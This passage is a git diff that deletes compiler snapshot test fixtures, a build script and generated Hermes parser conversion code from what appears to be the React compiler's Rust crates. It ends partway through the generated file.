--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@destructure-object.js.snap
+++ /dev/null
@@ -1,46 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/destructure-object.js
----
-Input:
-function Component(a, b) {
-  const {
-    c,
-    d,
-    e: { e },
-    f: { _f: f },
-    g: {
-      g: {
-        g: { g, ...h },
-      },
-    },
-    ...i
-  } = a;
-  return [c, d, e, f, g, h, i];
-}
-
-
-Output:
-function Component(
-  unknown a$30,
-  unknown b$31,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $32 = LoadLocal unknown a$30
-  [1] unknown $39 = Destructure { c: unknown c$33, d: unknown d$34, e: unknown $35, f: unknown $36, g: unknown $37, ...unknown i$38 } = unknown $32
-  [2] unknown $41 = Destructure { e: unknown e$40 } = unknown $35
-  [3] unknown $43 = Destructure { _f: unknown f$42 } = unknown $36
-  [4] unknown $45 = Destructure { g: unknown $44 } = unknown $37
-  [5] unknown $47 = Destructure { g: unknown $46 } = unknown $44
-  [6] unknown $50 = Destructure { g: unknown g$48, ...unknown h$49 } = unknown $46
-  [7] unknown $51 = LoadLocal unknown c$33
-  [8] unknown $52 = LoadLocal unknown d$34
-  [9] unknown $53 = LoadLocal unknown e$40
-  [10] unknown $54 = LoadLocal unknown f$42
-  [11] unknown $55 = LoadLocal unknown g$48
-  [12] unknown $56 = LoadLocal unknown h$49
-  [13] unknown $57 = LoadLocal unknown i$38
-  [14] unknown $58 = Array [unknown $51, unknown $52, unknown $53, unknown $54, unknown $55, unknown $56, unknown $57]
-  [15] Return unknown $58
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@error.assign-to-global.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@error.assign-to-global.js.snap
deleted file mode 100644
index 465a44be960d..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@error.assign-to-global.js.snap
+++ /dev/null
@@ -1,13 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/error.assign-to-global.js
----
-Input:
-function foo() {
-  x = true;
-}
-
-
-Output:
-React functions may not reassign variables defined outside of the component or hook
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@for-statement.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@for-statement.js.snap
deleted file mode 100644
index 6ce402d856d5..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@for-statement.js.snap
+++ /dev/null
@@ -1,54 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/for-statement.js
----
-Input:
-function foo() {
-  let x = 0;
-  for (let i = 0; i < 10; i = i + 1) {
-    x = x + i;
-  }
-  return x;
-}
-
-
-Output:
-function foo(
-)
-entry bb0
-bb0 (block)
-  [0] unknown $19 = 0
-  [1] unknown $21 = StoreLocal Let unknown x$20 = unknown $19
-  [2] For init=bb3 test=bb1 update=bb4 body=bb5 fallthrough=bb2
-bb3 (loop)
-  predecessors: bb0
-  [3] unknown $22 = 0
-  [4] unknown $24 = StoreLocal Let unknown i$23 = unknown $22
-  [5] Goto bb1
-bb1 (loop)
-  predecessors: bb3, bb4
-  i$25: phi(bb3: i$23, bb4: i$38)
-  x$29: phi(bb3: x$20, bb4: x$33)
-  [6] unknown $26 = LoadLocal unknown i$25
-  [7] unknown $27 = 10
-  [8] unknown $28 = Binary unknown $26 < unknown $27
-  [9] Branch unknown $28 consequent=bb5 alternate=bb2
-bb5 (block)
-  predecessors: bb1
-  [10] unknown $30 = LoadLocal unknown x$29
-  [11] unknown $31 = LoadLocal unknown i$25
-  [12] unknown $32 = Binary unknown $30 + unknown $31
-  [13] unknown $34 = StoreLocal Reassign unknown x$33 = unknown $32
-  [14] Goto bb4
-bb4 (loop)
-  predecessors: bb5
-  [15] unknown $35 = LoadLocal unknown i$25
-  [16] unknown $36 = 1
-  [17] unknown $37 = Binary unknown $35 + unknown $36
-  [18] unknown $39 = StoreLocal Reassign unknown i$38 = unknown $37
-  [19] Goto bb1
-bb2 (block)
-  predecessors: bb1
-  [20] unknown $40 = LoadLocal unknown x$29
-  [21] Return unknown $40
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@function-expressions.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@function-expressions.js.snap
deleted file mode 100644
index 8e67e9a4c708..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@function-expressions.js.snap
+++ /dev/null
@@ -1,94 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/function-expressions.js
----
-Input:
-function Component(props) {
-  const x = 2;
-  const foo = function foo(y) {
-    let a = 1;
-    let b;
-    if (a === 1) {
-      b = 5 + 3;
-    } else {
-      b = false;
-    }
-    x + y + a + b;
-    const bar = function bar(z) {
-      let c = 2;
-      let d;
-      d = 3;
-      x + y + a + b + z + c + d;
-    };
-    bar;
-    foo;
-  };
-}
-
-
-Output:
-function Component(
-  unknown props$58,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $59 = 2
-  [1] unknown $61 = StoreLocal Const unknown x$60 = unknown $59
-  [2] unknown $62 = Function @deps[] @context[unknown x$60]:
-      function foo(
-        unknown y$63,
-      )
-      entry bb1
-      bb1 (block)
-        [0] unknown $64 = 1
-        [1] unknown $66 = StoreLocal Let unknown a$65 = unknown $64
-        [2] unknown $68 = DeclareLocal Let unknown b$67
-        [3] unknown $69 = 1
-        [4] unknown $70 = 1
-        [5] unknown $71 = true
-        [6] unknown $72 = 5
-        [7] unknown $73 = 3
-        [8] unknown $74 = 8
-        [9] unknown $76 = StoreLocal Reassign unknown b$75 = unknown $74
-        [10] unknown $81 = 2
-        [11] unknown $83 = LoadLocal unknown y$63
-        [12] unknown $84 = Binary unknown $81 + unknown $83
-        [13] unknown $86 = 1
-        [14] unknown $87 = Binary unknown $84 + unknown $86
-        [15] unknown $89 = 8
-        [16] unknown $90 = Binary unknown $87 + unknown $89
-        [17] unknown $91 = Function @deps[] @context[unknown x$60, unknown y$63, unknown a$65, unknown b$75]:
-            function bar(
-              unknown z$92,
-            )
-            entry bb5
-            bb5 (block)
-              [0] unknown $93 = 2
-              [1] unknown $95 = StoreLocal Let unknown c$94 = unknown $93
-              [2] unknown $97 = DeclareLocal Let unknown d$96
-              [3] unknown $98 = 3
-              [4] unknown $100 = StoreLocal Reassign unknown d$99 = unknown $98
-              [5] unknown $101 = LoadLocal unknown x$80
-              [6] unknown $102 = LoadLocal unknown y$82
-              [7] unknown $103 = Binary unknown $101 + unknown $102
-              [8] unknown $104 = LoadLocal unknown a$85
-              [9] unknown $105 = Binary unknown $103 + unknown $104
-              [10] unknown $106 = LoadLocal unknown b$88
-              [11] unknown $107 = Binary unknown $105 + unknown $106
-              [12] unknown $108 = LoadLocal unknown z$92
-              [13] unknown $109 = Binary unknown $107 + unknown $108
-              [14] unknown $110 = 2
-              [15] unknown $111 = Binary unknown $109 + unknown $110
-              [16] unknown $112 = 3
-              [17] unknown $113 = Binary unknown $111 + unknown $112
-              [18] unknown $114 = <undefined>
-              [19] Return unknown $114
-        [18] unknown $116 = StoreLocal Const unknown bar$115 = unknown $91
-        [19] unknown $117 = LoadLocal unknown bar$115
-        [20] unknown $118 = LoadGlobal foo
-        [21] unknown $119 = <undefined>
-        [22] Return unknown $119
-  [3] unknown $121 = StoreLocal Const unknown foo$120 = unknown $62
-  [4] unknown $122 = <undefined>
-  [5] Return unknown $122
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@identifiers.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@identifiers.js.snap
deleted file mode 100644
index d90aa38cd17a..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@identifiers.js.snap
+++ /dev/null
@@ -1,41 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/identifiers.js
----
-Input:
-// import React from "react";
-
-// const FOO = false;
-
-function id(x) {
-  // React;
-  // FOO;
-  Math;
-  id;
-  let y = true;
-  y = false;
-  y;
-  let z;
-  z;
-  return x;
-}
-
-
-Output:
-function id(
-  unknown x$14,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $15 = LoadGlobal Math
-  [1] unknown $16 = LoadGlobal id
-  [2] unknown $17 = true
-  [3] unknown $19 = StoreLocal Let unknown y$18 = unknown $17
-  [4] unknown $20 = false
-  [5] unknown $22 = StoreLocal Reassign unknown y$21 = unknown $20
-  [6] unknown $23 = false
-  [7] unknown $25 = DeclareLocal Let unknown z$24
-  [8] unknown $26 = LoadLocal unknown z$24
-  [9] unknown $27 = LoadLocal unknown x$14
-  [10] Return unknown $27
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@if-statement.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@if-statement.js.snap
deleted file mode 100644
index 25a785e31415..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@if-statement.js.snap
+++ /dev/null
@@ -1,40 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/if-statement.js
----
-Input:
-function foo(a, b, c, d) {
-  if (a) {
-    return b;
-  } else {
-    c;
-  }
-  d;
-}
-
-
-Output:
-function foo(
-  unknown a$9,
-  unknown b$10,
-  unknown c$11,
-  unknown d$12,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $13 = LoadLocal unknown a$9
-  [1] If unknown $13 consequent=bb2 alternate=bb4 fallthrough=bb1
-bb2 (block)
-  predecessors: bb0
-  [2] unknown $14 = LoadLocal unknown b$10
-  [3] Return unknown $14
-bb4 (block)
-  predecessors: bb0
-  [4] unknown $15 = LoadLocal unknown c$11
-  [5] Goto bb1
-bb1 (block)
-  predecessors: bb4
-  [6] unknown $16 = LoadLocal unknown d$12
-  [7] unknown $17 = <undefined>
-  [8] Return unknown $17
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple-function.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple-function.js.snap
deleted file mode 100644
index b5b0db1f98a1..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple-function.js.snap
+++ /dev/null
@@ -1,46 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/simple-function.js
----
-Input:
-function Component(a) {
-  Math;
-  let b = 0;
-  const foo = function foo_(c) {
-    let d = 1;
-    return a + b + c + d;
-  };
-  return foo();
-}
-
-
-Output:
-function Component(
-  unknown a$23,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $24 = LoadGlobal Math
-  [1] unknown $25 = 0
-  [2] unknown $27 = StoreLocal Let unknown b$26 = unknown $25
-  [3] unknown $28 = Function @deps[] @context[unknown a$23, unknown b$26]:
-      function foo_(
-        unknown c$29,
-      )
-      entry bb1
-      bb1 (block)
-        [0] unknown $30 = 1
-        [1] unknown $32 = StoreLocal Let unknown d$31 = unknown $30
-        [2] unknown $33 = LoadLocal unknown a$23
-        [3] unknown $34 = 0
-        [4] unknown $35 = Binary unknown $33 + unknown $34
-        [5] unknown $36 = LoadLocal unknown c$29
-        [6] unknown $37 = Binary unknown $35 + unknown $36
-        [7] unknown $38 = 1
-        [8] unknown $39 = Binary unknown $37 + unknown $38
-        [9] Return unknown $39
-  [4] unknown $41 = StoreLocal Const unknown foo$40 = unknown $28
-  [5] unknown $42 = LoadLocal unknown foo$40
-  [6] unknown $43 = Call unknown $42()
-  [7] Return unknown $43
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple-ssa.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple-ssa.js.snap
deleted file mode 100644
index ba4d4ab2e0a5..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple-ssa.js.snap
+++ /dev/null
@@ -1,41 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/simple-ssa.js
----
-Input:
-function Component(props) {
-  let a;
-  if (props) {
-    a = 1;
-  } else {
-    a = 2;
-  }
-  return a;
-}
-
-
-Output:
-function Component(
-  unknown props$10,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $12 = DeclareLocal Let unknown a$11
-  [1] unknown $13 = LoadLocal unknown props$10
-  [2] If unknown $13 consequent=bb2 alternate=bb3 fallthrough=bb1
-bb2 (block)
-  predecessors: bb0
-  [3] unknown $14 = 1
-  [4] unknown $16 = StoreLocal Reassign unknown a$15 = unknown $14
-  [5] Goto bb1
-bb3 (block)
-  predecessors: bb0
-  [6] unknown $17 = 2
-  [7] unknown $19 = StoreLocal Reassign unknown a$18 = unknown $17
-  [8] Goto bb1
-bb1 (block)
-  predecessors: bb2, bb3
-  a$20: phi(bb2: a$15, bb3: a$18)
-  [9] unknown $21 = LoadLocal unknown a$20
-  [10] Return unknown $21
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple.js.snap
deleted file mode 100644
index c96ba1ba037e..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@simple.js.snap
+++ /dev/null
@@ -1,27 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/simple.js
----
-Input:
-function test() {
-  [true, false, null, 1, 3.14, ...["hello world!"]];
-  return 2;
-}
-
-
-Output:
-function test(
-)
-entry bb0
-bb0 (block)
-  [0] unknown $10 = true
-  [1] unknown $11 = false
-  [2] unknown $12 = null
-  [3] unknown $13 = 1
-  [4] unknown $14 = 3.14
-  [5] unknown $15 = "hello world!"
-  [6] unknown $16 = Array [unknown $15]
-  [7] unknown $17 = Array [unknown $10, unknown $11, unknown $12, unknown $13, unknown $14, ...unknown $16]
-  [8] unknown $18 = 2
-  [9] Return unknown $18
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@ssa-reassign-if.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@ssa-reassign-if.js.snap
deleted file mode 100644
index 30dad01ad8ab..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@ssa-reassign-if.js.snap
+++ /dev/null
@@ -1,73 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/ssa-reassign-if.js
----
-Input:
-function Component(a, b) {
-  let x;
-  let y = 0;
-  let z = 10;
-  if (a) {
-    x = 1;
-    if (b) {
-      z = 20;
-    } else {
-      z = 30;
-    }
-  } else {
-    x = 2;
-  }
-  return x + y + z;
-}
-
-
-Output:
-function Component(
-  unknown a$26,
-  unknown b$27,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $29 = DeclareLocal Let unknown x$28
-  [1] unknown $30 = 0
-  [2] unknown $32 = StoreLocal Let unknown y$31 = unknown $30
-  [3] unknown $33 = 10
-  [4] unknown $35 = StoreLocal Let unknown z$34 = unknown $33
-  [5] unknown $36 = LoadLocal unknown a$26
-  [6] If unknown $36 consequent=bb2 alternate=bb6 fallthrough=bb1
-bb2 (block)
-  predecessors: bb0
-  [7] unknown $37 = 1
-  [8] unknown $39 = StoreLocal Reassign unknown x$38 = unknown $37
-  [9] unknown $40 = LoadLocal unknown b$27
-  [10] If unknown $40 consequent=bb4 alternate=bb5 fallthrough=bb3
-bb4 (block)
-  predecessors: bb2
-  [11] unknown $41 = 20
-  [12] unknown $43 = StoreLocal Reassign unknown z$42 = unknown $41
-  [13] Goto bb3
-bb5 (block)
-  predecessors: bb2
-  [14] unknown $44 = 30
-  [15] unknown $46 = StoreLocal Reassign unknown z$45 = unknown $44
-  [16] Goto bb3
-bb3 (block)
-  predecessors: bb4, bb5
-  z$58: phi(bb4: z$42, bb5: z$45)
-  [17] Goto bb1
-bb6 (block)
-  predecessors: bb0
-  [18] unknown $47 = 2
-  [19] unknown $49 = StoreLocal Reassign unknown x$48 = unknown $47
-  [20] Goto bb1
-bb1 (block)
-  predecessors: bb3, bb6
-  x$50: phi(bb3: x$38, bb6: x$48)
-  z$57: phi(bb3: z$58, bb6: z$34)
-  [21] unknown $52 = LoadLocal unknown x$50
-  [22] unknown $55 = 0
-  [23] unknown $56 = Binary unknown $52 + unknown $55
-  [24] unknown $59 = LoadLocal unknown z$57
-  [25] unknown $60 = Binary unknown $56 + unknown $59
-  [26] Return unknown $60
diff --git a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@use-memo.js.snap b/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@use-memo.js.snap
deleted file mode 100644
index aa0e1376a15d..000000000000
--- a/compiler/crates/react_fixtures/tests/snapshots/fixtures_test__fixtures@use-memo.js.snap
+++ /dev/null
@@ -1,36 +0,0 @@
----
-source: crates/react_fixtures/tests/fixtures_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_fixtures/tests/fixtures/use-memo.js
----
-Input:
-import { useMemo } from "react";
-
-function Component(x) {
-  const y = useMemo(() => {
-    return x;
-  });
-  return y;
-}
-
-
-Output:
-function Component(
-  unknown x$10,
-)
-entry bb0
-bb0 (block)
-  [0] unknown $11 = LoadGlobal useMemo
-  [1] unknown $20 = DeclareLocal Let unknown t$18
-  [2] Label block=bb1 fallthrough=bb6
-bb1 (block)
-  predecessors: bb0
-  [3] unknown $13 = LoadLocal unknown x$10
-  [4] unknown $19 = StoreLocal Reassign unknown t$18 = unknown $13
-  [5] Goto bb6
-bb6 (block)
-  predecessors: bb1
-  [6] unknown $14 = LoadLocal unknown t$18
-  [7] unknown $16 = StoreLocal Const unknown y$15 = unknown $14
-  [8] unknown $17 = LoadLocal unknown y$15
-  [9] Return unknown $17
diff --git a/compiler/crates/react_hermes_parser/Cargo.toml b/compiler/crates/react_hermes_parser/Cargo.toml
deleted file mode 100644
index 3bf24fe93daf..000000000000
--- a/compiler/crates/react_hermes_parser/Cargo.toml
+++ /dev/null
@@ -1,23 +0,0 @@
-[package]
-name = "react_hermes_parser"
-version = "0.1.0"
-authors.workspace = true
-description.workspace = true
-edition.workspace = true
-homepage.workspace = true
-keywords.workspace = true
-license.workspace = true
-repository.workspace = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-insta = { workspace = true }
-react_diagnostics = { workspace = true }
-react_estree = { workspace = true }
-hermes = { workspace = true } 
-juno_support = { workspace = true }
-serde_json = { workspace = true }
-
-[build-dependencies]
-react_estree_codegen = { workspace = true }
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/README.md b/compiler/crates/react_hermes_parser/README.md
deleted file mode 100644
index 36c1049a075e..000000000000
--- a/compiler/crates/react_hermes_parser/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# react_hermes_parser
-
-Wrapper around the Hermes parser that exposes parse results as a `react_estree` AST.
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/build.rs b/compiler/crates/react_hermes_parser/build.rs
deleted file mode 100644
index 03d58924090e..000000000000
--- a/compiler/crates/react_hermes_parser/build.rs
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use react_estree_codegen::estree_hermes;
-
-// Example custom build script.
-fn main() {
-    // Re-run if the codegen files change
-    println!("cargo:rerun-if-changed=../react_estree_codegen/src/codegen.rs");
-    println!("cargo:rerun-if-changed=../react_estree_codegen/src/lib.rs");
-    println!("cargo:rerun-if-changed=../react_estree_codegen/src/ecmascript.json");
-    println!("cargo:rerun-if-changed=../react_estree_codegen");
-
-    let src = estree_hermes();
-    let copyright = "
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-    "
-    .to_string();
-    let trimmed_copyright = copyright.trim();
-    let contents = format!("{trimmed_copyright}\n{src}");
-    std::fs::write("src/generated.rs", contents).unwrap();
-}
diff --git a/compiler/crates/react_hermes_parser/src/generated.rs b/compiler/crates/react_hermes_parser/src/generated.rs
deleted file mode 100644
index 718f5ab3819c..000000000000
--- a/compiler/crates/react_hermes_parser/src/generated.rs
+++ /dev/null
@@ -1,4158 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-// @generated
-#![cfg_attr(rustfmt, rustfmt_skip)]
-#![allow(dead_code)]
-#![allow(unused_variables)]
-#![allow(clippy::enum_variant_names)]
-use react_estree::*;
-use hermes::parser::{NodePtr, NodeKind, NodeLabel};
-use hermes::utf::utf8_with_surrogates_to_string;
-use crate::generated_extension::*;
-impl FromHermes for Identifier {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::Identifier);
-        let range = convert_range(cx, node);
-        let name = convert_string(
-            cx,
-            unsafe { hermes::parser::hermes_get_Identifier_name(node) },
-        );
-        let binding = Default::default();
-        let type_annotation = Default::default();
-        Self {
-            name,
-            binding,
-            type_annotation,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for NumericLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::NumericLiteral);
-        let range = convert_range(cx, node);
-        let value = convert_number(unsafe {
-            hermes::parser::hermes_get_NumericLiteral_value(node)
-        });
-        Self {
-            value,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for BooleanLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::BooleanLiteral);
-        let range = convert_range(cx, node);
-        let value = unsafe { hermes::parser::hermes_get_BooleanLiteral_value(node) };
-        Self {
-            value,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for NullLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::NullLiteral);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for StringLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::StringLiteral);
-        let range = convert_range(cx, node);
-        let value = convert_string_value(
-            cx,
-            unsafe { hermes::parser::hermes_get_StringLiteral_value(node) },
-        );
-        Self {
-            value,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for RegExpLiteral {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::RegExpLiteral);
-        let range = convert_range(cx, node);
-        let pattern = convert_string(
-            cx,
-            unsafe { hermes::parser::hermes_get_RegExpLiteral_pattern(node) },
-        );
-        let flags = convert_string(
-            cx,
-            unsafe { hermes::parser::hermes_get_RegExpLiteral_flags(node) },
-        );
-        Self {
-            pattern,
-            flags,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for Program {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::Program);
-        let range = convert_range(cx, node);
-        let body = convert_vec(
-            unsafe { hermes::parser::hermes_get_Program_body(node) },
-            |node| ModuleItem::convert(cx, node),
-        );
-        let source_type = Default::default();
-        Self {
-            body,
-            source_type,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ExpressionStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ExpressionStatement);
-        let range = convert_range(cx, node);
-        let expression = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_ExpressionStatement_expression(node) },
-        );
-        let directive = Default::default();
-        Self {
-            expression,
-            directive,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for BlockStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::BlockStatement);
-        let range = convert_range(cx, node);
-        let body = convert_vec(
-            unsafe { hermes::parser::hermes_get_BlockStatement_body(node) },
-            |node| Statement::convert(cx, node),
-        );
-        Self {
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for EmptyStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::EmptyStatement);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for DebuggerStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::DebuggerStatement);
-        let range = convert_range(cx, node);
-        Self {
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for WithStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::WithStatement);
-        let range = convert_range(cx, node);
-        let object = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_WithStatement_object(node) },
-        );
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_WithStatement_body(node) },
-        );
-        Self {
-            object,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ReturnStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ReturnStatement);
-        let range = convert_range(cx, node);
-        let argument = convert_option(
-            unsafe { hermes::parser::hermes_get_ReturnStatement_argument(node) },
-            |node| Expression::convert(cx, node),
-        );
-        Self {
-            argument,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for LabeledStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::LabeledStatement);
-        let range = convert_range(cx, node);
-        let label = Identifier::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_LabeledStatement_label(node) },
-        );
-        let body = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_LabeledStatement_body(node) },
-        );
-        Self {
-            label,
-            body,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for BreakStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::BreakStatement);
-        let range = convert_range(cx, node);
-        let label = convert_option(
-            unsafe { hermes::parser::hermes_get_BreakStatement_label(node) },
-            |node| Identifier::convert(cx, node),
-        );
-        Self {
-            label,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for ContinueStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::ContinueStatement);
-        let range = convert_range(cx, node);
-        let label = convert_option(
-            unsafe { hermes::parser::hermes_get_ContinueStatement_label(node) },
-            |node| Identifier::convert(cx, node),
-        );
-        Self {
-            label,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for IfStatement {
-    fn convert(cx: &mut Context, node: NodePtr) -> Self {
-        let node_ref = node.as_ref();
-        assert_eq!(node_ref.kind, NodeKind::IfStatement);
-        let range = convert_range(cx, node);
-        let test = Expression::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_IfStatement_test(node) },
-        );
-        let consequent = Statement::convert(
-            cx,
-            unsafe { hermes::parser::hermes_get_IfStatement_consequent(node) },
-        );
-        let alternate = convert_option(
-            unsafe { hermes::parser::hermes_get_IfStatement_alternate(node) },
-            |node| Statement::convert(cx, node),
-        );
-        Self {
-            test,
-            consequent,
-            alternate,
-            loc: None,
-            range: Some(range),
-        }
-    }
-}
-impl FromHermes for SwitchStatement {
